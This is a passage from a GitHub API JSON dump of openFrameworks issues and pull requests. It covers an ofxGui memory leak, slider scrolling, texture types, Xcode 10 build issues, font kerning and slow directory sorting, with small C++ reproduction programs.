ofxGuiGroup all the `add(ofParameter & parameter)` functions call new as you can see [here](https://github.com/openframeworks/openFrameworks/blob/master/addons/ofxGui/src/ofxGuiGroup.cpp#L178-L229), thus creating the gui object needed. but these newly created objects never get deleted even after the `ofGuiGroup` is destroyed. In a lot of cases this might not be a problem as a lot of times the the `ofxGuiGroup` or `ofxPanel` object exists for the whole runtime of the app, but in scenarios where the gui is created and destroyed dynamically this is a problem.\r\n\r\nThe following code is a proof of this.\r\n````cpp\r\n#include \"ofMain.h\"\r\n#include \"ofxGui.h\"\r\n\r\nclass ofApp : public ofBaseApp\r\n{\r\npublic:\r\n\t//----------------------------------------------------------------\r\n\tvoid setup(){\t\t\r\n\t\tgui = new ofxPanel();\r\n\t\tgui->setup();\r\n\t\tgui->add(param.set(\"param\", 0, 0, 255));\r\n\t\tsliderPtr = &(gui->getFloatSlider(\"param\"));\r\n\t\t\r\n\t};\r\n\t//----------------------------------------------------------------\r\n\tvoid draw(){\r\n\t\t\r\n\t\tofBackground(param, 0, 0);\r\n\t\t\r\n\t\tif (displayGui){\r\n\t\t\tif(gui){\r\n\t\t\t\tgui->draw();\r\n\t\t\t}else if (sliderPtr){\r\n\t\t\t\tsliderPtr->draw();\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tstringstream ss;\r\n\t\t\r\n\t\tif(sliderPtr){\r\n\t\t\tss << \"sliderPtr \" << sliderPtr << endl;\t\r\n\t\t}else{\r\n\t\t\tss << \"sliderPtr is null\" << endl;\r\n\t\t}\r\n\t\tif(gui){\r\n\t\t\tss << \"gui \" << gui << endl;\t\r\n\t\t}else{\r\n\t\t\tss << \"gui is null\" << endl;\r\n\t\t}\r\n\t\tofDrawBitmapStringHighlight(ss.str(), 20, ofGetHeight() - 50);\r\n\t\t\r\n\t};\r\n\t//----------------------------------------------------------------\r\n\tvoid keyPressed(int key)\r\n\t{\r\n\t\tif(key == ' '){\r\n\t\t\tdisplayGui = !displayGui;\r\n\t\t}else if(key == 'd'){\r\n\t\t\tdelete gui;\r\n\t\t\tgui = nullptr;\r\n\t\t}\r\n\t}\r\n\t//----------------------------------------------------------------\r\n\tofxPanel* gui= nullptr;\r\n\tofParameter param;\r\n\tofxFloatSlider* sliderPtr = nullptr;\r\n\tbool displayGui = true;\r\n};\r\n\r\nint main( )\r\n{\r\n\tofSetupOpenGL(400,200,OF_WINDOW);\r\n\tofRunApp(new ofApp());\r\n}\r\n\r\n````\r\n\r\nMaybe moving all the pointers used into smart pointer can be a good idea. What do you think @arturoc @bakercp @ofZach ?\r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6144","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6144/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6144/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6144/events","html_url":"https://github.com/openframeworks/openFrameworks/pull/6144","id":366994113,"node_id":"MDExOlB1bGxSZXF1ZXN0MjIwNTM2MDY4","number":6144,"title":"Fix ofx gui slider scrolling","user":{"login":"roymacdonald","id":974878,"node_id":"MDQ6VXNlcjk3NDg3OA==","avatar_url":"https://avatars0.githubusercontent.com/u/974878?v=4","gravatar_id":"","url":"https://api.github.com/users/roymacdonald","html_url":"https://github.com/roymacdonald","followers_url":"https://api.github.com/users/roymacdonald/followers","following_url":"https://api.github.com/users/roymacdonald/following{/other_user}","gists_url":"https://api.github.com/users/roymacdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/roymacdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/roymacdonald/subscriptions","organizations_url":"https://api.github.com/users/roymacdonald/orgs","repos_url":"https://api.github.com/users/roymacdonald/repos","events_url":"https://api.github.com/users/roymacdonald/events{/privacy}","received_events_url":"https://api.github.com/users/roymacdonald/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-10-04T22:28:00Z","updated_at":"2018-10-17T02:20:40Z","closed_at":null,"author_association":"MEMBER","pull_request":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/pulls/6144","html_url":"https://github.com/openframeworks/openFrameworks/pull/6144","diff_url":"https://github.com/openframeworks/openFrameworks/pull/6144.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/6144.patch"},"body":"Fix for this issue https://github.com/openframeworks/openFrameworks/issues/6133\r\n\r\nThe scrolling was still being handled when the gui was not being drawn both in ofxSlider and ofxInputField. \r\n\r\nTested using the code provided in the mentioned issue.\r\n\r\nAlso, \r\nthere is some redundant code in ofxSlider.cpp and ofxInputField.cpp. Both have a function called `toRange(...)` which is identical in both. When the scroll callback is called this function is called. Can't we move this function to the ofxBaseGui for instance? Also, the code used in the scroll callback in both ofxSlider and ofxInputField is quite similar, maybe moving this to ofxBaseGui might be better too. \r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6143","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6143/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6143/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6143/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6143","id":366546777,"node_id":"MDU6SXNzdWUzNjY1NDY3Nzc=","number":6143,"title":"Missing support for non 2D texture types in ofTexture","user":{"login":"m1keall1son","id":2464817,"node_id":"MDQ6VXNlcjI0NjQ4MTc=","avatar_url":"https://avatars2.githubusercontent.com/u/2464817?v=4","gravatar_id":"","url":"https://api.github.com/users/m1keall1son","html_url":"https://github.com/m1keall1son","followers_url":"https://api.github.com/users/m1keall1son/followers","following_url":"https://api.github.com/users/m1keall1son/following{/other_user}","gists_url":"https://api.github.com/users/m1keall1son/gists{/gist_id}","starred_url":"https://api.github.com/users/m1keall1son/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/m1keall1son/subscriptions","organizations_url":"https://api.github.com/users/m1keall1son/orgs","repos_url":"https://api.github.com/users/m1keall1son/repos","events_url":"https://api.github.com/users/m1keall1son/events{/privacy}","received_events_url":"https://api.github.com/users/m1keall1son/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":6,"created_at":"2018-10-03T22:00:11Z","updated_at":"2018-10-05T11:29:52Z","closed_at":null,"author_association":"NONE","body":"Unless i'm mistaken, I can't find any support for non-2D texture types. \r\n\r\nmissing:\r\n`GL_TEXTURE_2D_ARRAY`,\r\n`GL_TEXTURE_3D`,\r\n`GL_TEXTURE_1D`,\r\n`GL_TEXTURE_1D_ARRAY`,\r\n`GL_TEXTURE_CUBE_MAP`,\r\n`GL_TEXTURE_CUBE_MAP_ARRAY`,\r\n\r\nIt would make most sense to separate out the common functionality into an `ofTextureBase` base class and derive into something like `ofTexture1D`, `ofTexture2D`, `ofTexture3D` and `ofTextureCubeMap`. For backwards compatibility alias `ofTexture2D` to `ofTexture`."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6142","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6142/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6142/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6142/events","html_url":"https://github.com/openframeworks/openFrameworks/pull/6142","id":366403137,"node_id":"MDExOlB1bGxSZXF1ZXN0MjIwMDg1NTE1","number":6142,"title":"fixes xcode template to not have OF as a dependcy but as a pre-build …","user":{"login":"ofTheo","id":144000,"node_id":"MDQ6VXNlcjE0NDAwMA==","avatar_url":"https://avatars3.githubusercontent.com/u/144000?v=4","gravatar_id":"","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":6,"created_at":"2018-10-03T15:41:06Z","updated_at":"2018-10-06T14:51:37Z","closed_at":null,"author_association":"CONTRIBUTOR","pull_request":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/pulls/6142","html_url":"https://github.com/openframeworks/openFrameworks/pull/6142","diff_url":"https://github.com/openframeworks/openFrameworks/pull/6142.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/6142.patch"},"body":"…script. related to #6139"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6141","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6141/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6141/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6141/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6141","id":365257952,"node_id":"MDU6SXNzdWUzNjUyNTc5NTI=","number":6141,"title":"OF_RECTMODE_CENTER doesn't work on ofDrawRectRounded","user":{"login":"Nedelstein","id":41701865,"node_id":"MDQ6VXNlcjQxNzAxODY1","avatar_url":"https://avatars2.githubusercontent.com/u/41701865?v=4","gravatar_id":"","url":"https://api.github.com/users/Nedelstein","html_url":"https://github.com/Nedelstein","followers_url":"https://api.github.com/users/Nedelstein/followers","following_url":"https://api.github.com/users/Nedelstein/following{/other_user}","gists_url":"https://api.github.com/users/Nedelstein/gists{/gist_id}","starred_url":"https://api.github.com/users/Nedelstein/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Nedelstein/subscriptions","organizations_url":"https://api.github.com/users/Nedelstein/orgs","repos_url":"https://api.github.com/users/Nedelstein/repos","events_url":"https://api.github.com/users/Nedelstein/events{/privacy}","received_events_url":"https://api.github.com/users/Nedelstein/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-09-30T20:22:36Z","updated_at":"2018-09-30T20:22:36Z","closed_at":null,"author_association":"NONE","body":"Not the biggest deal, but thought it was worth mentioning. You can't seem to change the rectmode when using ofDrawRectRounded.\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6140","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6140/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6140/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6140/events","html_url":"https://github.com/openframeworks/openFrameworks/pull/6140","id":365198033,"node_id":"MDExOlB1bGxSZXF1ZXN0MjE5MTg4NTUz","number":6140,"title":"add ofSystemConfirmDialog for confirming actions","user":{"login":"s-ol","id":1731279,"node_id":"MDQ6VXNlcjE3MzEyNzk=","avatar_url":"https://avatars1.githubusercontent.com/u/1731279?v=4","gravatar_id":"","url":"https://api.github.com/users/s-ol","html_url":"https://github.com/s-ol","followers_url":"https://api.github.com/users/s-ol/followers","following_url":"https://api.github.com/users/s-ol/following{/other_user}","gists_url":"https://api.github.com/users/s-ol/gists{/gist_id}","starred_url":"https://api.github.com/users/s-ol/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-ol/subscriptions","organizations_url":"https://api.github.com/users/s-ol/orgs","repos_url":"https://api.github.com/users/s-ol/repos","events_url":"https://api.github.com/users/s-ol/events{/privacy}","received_events_url":"https://api.github.com/users/s-ol/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":4,"created_at":"2018-09-30T06:44:10Z","updated_at":"2018-10-12T07:28:24Z","closed_at":null,"author_association":"NONE","pull_request":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/pulls/6140","html_url":"https://github.com/openframeworks/openFrameworks/pull/6140","diff_url":"https://github.com/openframeworks/openFrameworks/pull/6140.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/6140.patch"},"body":"This PR supersedes #3228 (ofSystemChoiceDialog).\r\n\r\nI have another cleanup commit ready (b90df914359e7eccde1de5dbb600278d1bf77538) but didn't attach it to this branch so the diff is clean for now.\r\n\r\nStatus:\r\n\r\n| | implemented | tested |\r\n| ----------------- | ---| -----|\r\n| Linux (GTK) | yes | yes |\r\n| Windows | yes | no |\r\n| OS X | yes | yes |\r\n| Android | no | - |\r\n\r\nPlease help with testing!"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6139","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6139/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6139/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6139/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6139","id":365180966,"node_id":"MDU6SXNzdWUzNjUxODA5NjY=","number":6139,"title":"mojave + xcode 10 issues","user":{"login":"ofZach","id":142897,"node_id":"MDQ6VXNlcjE0Mjg5Nw==","avatar_url":"https://avatars3.githubusercontent.com/u/142897?v=4","gravatar_id":"","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":5,"created_at":"2018-09-30T01:17:56Z","updated_at":"2018-10-01T07:46:46Z","closed_at":null,"author_association":"CONTRIBUTOR","body":"\r\nI'm looking at OF on Mojave and Xcode 10 which is kind of painful now -- \r\n\r\nsome notes (cc @ofTheo) \r\n\r\na) 32 bit needs to be removed (this has already been done in master...) \r\n\r\nb) on mojave apps need permission set as a plist for camera, microphone, and any other thing we might need to do that requires permissions (ala iPhone). I feel like the easiest is we just add these to the template plist so that they are already set. \r\n\r\nc) there's something not right about the overall OF sub project, at the moment you can't open more than one OF project at the same time and build them (before you used to get an integrity warning but now it seems there is more of an error so you actually just can't build more than one project at once... it's super weird) \r\n\r\nd) openframeworks library always gets rebuilt for each project :( \r\n\r\n(maybe looking at this issue which this reminded me of -- https://github.com/openframeworks/openFrameworks/issues/5895) \r\n\r\nI'm looking into b/c/d at the moment... "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6137","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6137/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6137/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6137/events","html_url":"https://github.com/openframeworks/openFrameworks/pull/6137","id":364358354,"node_id":"MDExOlB1bGxSZXF1ZXN0MjE4NTY0Mzgx","number":6137,"title":"Add PUT request to ofURLFileLoader","user":{"login":"chriship","id":4815637,"node_id":"MDQ6VXNlcjQ4MTU2Mzc=","avatar_url":"https://avatars2.githubusercontent.com/u/4815637?v=4","gravatar_id":"","url":"https://api.github.com/users/chriship","html_url":"https://github.com/chriship","followers_url":"https://api.github.com/users/chriship/followers","following_url":"https://api.github.com/users/chriship/following{/other_user}","gists_url":"https://api.github.com/users/chriship/gists{/gist_id}","starred_url":"https://api.github.com/users/chriship/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chriship/subscriptions","organizations_url":"https://api.github.com/users/chriship/orgs","repos_url":"https://api.github.com/users/chriship/repos","events_url":"https://api.github.com/users/chriship/events{/privacy}","received_events_url":"https://api.github.com/users/chriship/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":2,"created_at":"2018-09-27T08:25:12Z","updated_at":"2018-09-27T15:58:42Z","closed_at":null,"author_association":"NONE","pull_request":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/pulls/6137","html_url":"https://github.com/openframeworks/openFrameworks/pull/6137","diff_url":"https://github.com/openframeworks/openFrameworks/pull/6137.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/6137.patch"},"body":"Add the ability to do a PUT request with ofHttpRequest"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6136","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6136/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6136/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6136/events","html_url":"https://github.com/openframeworks/openFrameworks/pull/6136","id":364357220,"node_id":"MDExOlB1bGxSZXF1ZXN0MjE4NTYzNTMy","number":6136,"title":"Fix kerning issues in ofTrueTypeFont","user":{"login":"chriship","id":4815637,"node_id":"MDQ6VXNlcjQ4MTU2Mzc=","avatar_url":"https://avatars2.githubusercontent.com/u/4815637?v=4","gravatar_id":"","url":"https://api.github.com/users/chriship","html_url":"https://github.com/chriship","followers_url":"https://api.github.com/users/chriship/followers","following_url":"https://api.github.com/users/chriship/following{/other_user}","gists_url":"https://api.github.com/users/chriship/gists{/gist_id}","starred_url":"https://api.github.com/users/chriship/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chriship/subscriptions","organizations_url":"https://api.github.com/users/chriship/orgs","repos_url":"https://api.github.com/users/chriship/repos","events_url":"https://api.github.com/users/chriship/events{/privacy}","received_events_url":"https://api.github.com/users/chriship/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":4,"created_at":"2018-09-27T08:22:04Z","updated_at":"2018-10-08T19:19:41Z","closed_at":null,"author_association":"NONE","pull_request":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/pulls/6136","html_url":"https://github.com/openframeworks/openFrameworks/pull/6136","diff_url":"https://github.com/openframeworks/openFrameworks/pull/6136.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/6136.patch"},"body":"Freetype uses fixed point number for font calculation (26.6).\r\n\r\nIt means 26 bit integer and 6 bit decimal.\r\n\r\nSo we can not simply use the value of `FT_Get_Kerning` because we need to account for the .6\r\n\r\nHow to calculate?\r\nWe do bit shift to the right.\r\n\r\n`pen_x += delta.x >> 6;`\r\n\r\nThis is same calculation as dividing by 64 (2^6=64).\r\n\r\nSee Simple Text Rendering: Kerning and Centering sesction in this page. https://www.freetype.org/freetype2/docs/tutorial/step2.html#section-4\r\n\r\nThanks to @hiroMTB for figuring this out.\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6133","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6133/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6133/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6133/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6133","id":363073568,"node_id":"MDU6SXNzdWUzNjMwNzM1Njg=","number":6133,"title":"ofxGui scroll is active when it shouldn't be","user":{"login":"samubence","id":241047,"node_id":"MDQ6VXNlcjI0MTA0Nw==","avatar_url":"https://avatars2.githubusercontent.com/u/241047?v=4","gravatar_id":"","url":"https://api.github.com/users/samubence","html_url":"https://github.com/samubence","followers_url":"https://api.github.com/users/samubence/followers","following_url":"https://api.github.com/users/samubence/following{/other_user}","gists_url":"https://api.github.com/users/samubence/gists{/gist_id}","starred_url":"https://api.github.com/users/samubence/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/samubence/subscriptions","organizations_url":"https://api.github.com/users/samubence/orgs","repos_url":"https://api.github.com/users/samubence/repos","events_url":"https://api.github.com/users/samubence/events{/privacy}","received_events_url":"https://api.github.com/users/samubence/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":2,"created_at":"2018-09-24T09:38:21Z","updated_at":"2018-10-04T22:28:29Z","closed_at":null,"author_association":"NONE","body":"You can change the value of a parameter e.g ofxSlider using the mouse scroll... which is a great feature.\r\nBut it still happens when the group is minimised and the cursor is not over the element. (it is very weird that in this case the slider only goes up and much faster than is was maximised)\r\nThe same happens when we don't display the panel, scroll still active.\r\nThis is a minimal code to demonstrate the behaviour. \r\n\r\nI'm using of_0.10.0 on macOS, xcode 10.0\r\n\r\n```\r\n#include \"ofMain.h\"\r\n#include \"ofxGui.h\"\r\n\r\nclass ofApp : public ofBaseApp\r\n{\r\npublic:\r\n void setup()\r\n {\r\n gui.setDefaultWidth(400);\r\n gui.setup();\r\n gui.setPosition(0, 0);\r\n group.setName(\"GROUP\");\r\n group.add(param.set(\"param\", 0, 0, 255));\r\n gui.add(group);\r\n displayGui = true;\r\n };\r\n \r\n void draw()\r\n {\r\n ofBackground(param, 0, 0);\r\n \r\n if (displayGui)\r\n {\r\n gui.draw();\r\n }\r\n };\r\n \r\n void keyPressed(int key)\r\n {\r\n displayGui = !displayGui;\r\n }\r\n \r\n ofxPanel gui;\r\n ofParameterGroup group;\r\n ofParameter param;\r\n bool displayGui;\r\n};\r\n\r\nint main( )\r\n{\r\n\tofSetupOpenGL(400,100,OF_WINDOW);\r\n\tofRunApp(new ofApp());\r\n}\r\n```"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6132","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6132/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6132/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6132/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6132","id":362785091,"node_id":"MDU6SXNzdWUzNjI3ODUwOTE=","number":6132,"title":"freeimage.dll not found (Windows 10, OF 0.10.0)","user":{"login":"k2msmith","id":41271669,"node_id":"MDQ6VXNlcjQxMjcxNjY5","avatar_url":"https://avatars3.githubusercontent.com/u/41271669?v=4","gravatar_id":"","url":"https://api.github.com/users/k2msmith","html_url":"https://github.com/k2msmith","followers_url":"https://api.github.com/users/k2msmith/followers","following_url":"https://api.github.com/users/k2msmith/following{/other_user}","gists_url":"https://api.github.com/users/k2msmith/gists{/gist_id}","starred_url":"https://api.github.com/users/k2msmith/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/k2msmith/subscriptions","organizations_url":"https://api.github.com/users/k2msmith/orgs","repos_url":"https://api.github.com/users/k2msmith/repos","events_url":"https://api.github.com/users/k2msmith/events{/privacy}","received_events_url":"https://api.github.com/users/k2msmith/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2018-09-21T21:48:33Z","updated_at":"2018-09-21T21:48:33Z","closed_at":null,"author_association":"NONE","body":"On Windows 10 Pro and version 0.10.0 OF. On some machines OF VS build/ link doesn’t find the freeimage.dll. This is puzzling because it appears that OF has a copy of the library in it’s release tree. So, why would I need to install another copy of the library on Windows ? I have reinstalled the library, but eventually the problem comes back. I am guessing that a windows update may have stomped on it and removed it again. The problem only occurs for me on w32 but not x64. On googling around, it appears other OF users have encountered the same problem (so it's just not my installation)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6129","repository_url":"https://api.github.com/repos/openframeworks/openFrameworks","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6129/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6129/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/6129/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/6129","id":361464541,"node_id":"MDU6SXNzdWUzNjE0NjQ1NDE=","number":6129,"title":"ofDirectory::sort() is slow! ","user":{"login":"ofTheo","id":144000,"node_id":"MDQ6VXNlcjE0NDAwMA==","avatar_url":"https://avatars3.githubusercontent.com/u/144000?v=4","gravatar_id":"","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User","site_admin":false},"labels":[{"id":14818,"node_id":"MDU6TGFiZWwxNDgxOA==","url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f","default":false}],"state":"open","locked":false,"assignee":{"login":"ofTheo","id":144000,"node_id":"MDQ6VXNlcjE0NDAwMA==","avatar_url":"https://avatars3.githubusercontent.com/u/144000?v=4","gravatar_id":"","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User","site_admin":false},"assignees":[{"login":"ofTheo","id":144000,"node_id":"MDQ6VXNlcjE0NDAwMA==","avatar_url":"https://avatars3.githubusercontent.com/u/144000?v=4","gravatar_id":"","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User","site_admin":false}],"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/21","html_url":"https://github.com/openframeworks/openFrameworks/milestone/21","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/21/labels","id":902324,"node_id":"MDk6TWlsZXN0b25lOTAyMzI0","number":21,"title":"0.10.1","description":"","creator":{"login":"kylemcdonald","id":157106,"node_id":"MDQ6VXNlcjE1NzEwNg==","avatar_url":"https://avatars3.githubusercontent.com/u/157106?v=4","gravatar_id":"","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User","site_admin":false},"open_issues":31,"closed_issues":6,"state":"open","created_at":"2014-12-12T22:37:18Z","updated_at":"2018-09-18T20:11:58Z","due_on":null,"closed_at":null},"comments":5,"created_at":"2018-09-18T20:11:58Z","updated_at":"2018-10-22T08:44:25Z","closed_at":null,"author_association":"CONTRIBUTOR","body":"I noticed that with old projects which have a lot of png sequences that a project that used to take 20-30 seconds to load are now taking 15+ minutes. \r\n\r\nAll I did was add sort() after calls to listDir() ( due to the non-sorted directories Apple lovingly introduced #5852 ) \r\n\r\nTaking the current dirListExample, calling sort() with listDir() makes a directory listing takes more than 10x longer than not calling sort(), but then getting randomly ordered results. \r\n\r\nI noticed that if I sort the files first as strings instead of as a vector ofFile::References it is almost as fast as not sorting at all. \r\n\r\nI think this might be due to the extra overhead of having files loaded into memory ( even as references ). \r\n\r\nI need to put together a PR for this, the main issue I see is that I am sorting inside of listDir before even creating the files vector. The plus side is you get sorted results by default without having to call sort(); But calling sort() will still be slow. I could prob get the fix to work in sort() too without losing the performance improvement. It might just need to rebuild the file list which is doable. \r\n\r\nThis is a comparison for sorting 110 files. \r\n```\r\nDebug\r\n time diff for file list with current sort: 0.349263 seconds \r\n time diff for file list with string based sort: 0.0325761 seconds \r\n\r\n= 10.7x faster with string based sort \r\n\r\nRelease\r\n time diff for file list with current sort: 0.339156 seconds \r\n time diff for file list with 